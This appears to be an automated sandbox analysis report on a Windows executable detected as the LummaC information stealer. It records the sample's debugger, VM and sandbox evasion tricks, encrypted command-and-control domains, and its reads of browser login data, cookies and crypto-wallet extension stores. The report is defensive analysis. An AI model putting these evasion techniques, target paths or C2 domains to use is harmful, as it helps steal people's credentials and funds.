Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624912B second address: 62491D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FE620F50F95h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FE620F50F88h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov dword ptr [ebp+122DB710h], edi 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007FE620F50F88h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d jmp 00007FE620F50F91h 0x00000052 xchg eax, ebx 0x00000053 push eax 0x00000054 push edx 0x00000055 jbe 00007FE620F50F98h 0x0000005b jmp 00007FE620F50F92h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62491D0 second address: 62491ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FE620D482D8h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6249C36 second address: 6249C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6249C3A second address: 6249C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6249C3E second address: 6249CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FE620F50F88h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push edi 0x00000025 pushad 0x00000026 mov edi, 413037EFh 0x0000002b je 00007FE620F50F86h 0x00000031 popad 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 mov si, 69A1h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FE620F50F88h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 sub dword ptr [ebp+122D270Ah], ecx 0x0000005b xchg eax, ebx 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FE620F50F8Bh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624AE05 second address: 624AE0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624D2C7 second address: 624D2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FE620F50F86h 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FFB87C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FFB965 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11A9A0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11B1D51 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 623F892 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 623E1CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 623E526 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 609DA67 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 62D4DA7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6788	Thread sleep time: -30015s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5712	Thread sleep time: -210000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.1809300690.0000000006220000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1803114079.0000000001185000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1527172558.000000000589C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: file.exe, 00000000.00000003.1572040614.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1802332924.0000000000B76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1611460790.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1576456236.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, file.exe, 00000000.00000003.1572040614.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1802332924.0000000000B76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1611460790.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1576456236.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1787510427.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: file.exe, 00000000.00000002.1802332924.0000000000B48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: file.exe, 00000000.00000002.1809300690.0000000006220000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1803114079.0000000001185000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: file.exe, 00000000.00000003.1527172558.0000000005897000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000002.1802934202.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.1803114079.0000000001185000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.1809300690.0000000006220000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: xProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1576359557.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1576432931.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Edge/Default/Extensions/Jaxx Liberty
Source: file.exe, 00000000.00000003.1572040614.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1561745921.0000000000BE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.1561723800.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1562085959.0000000000BED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
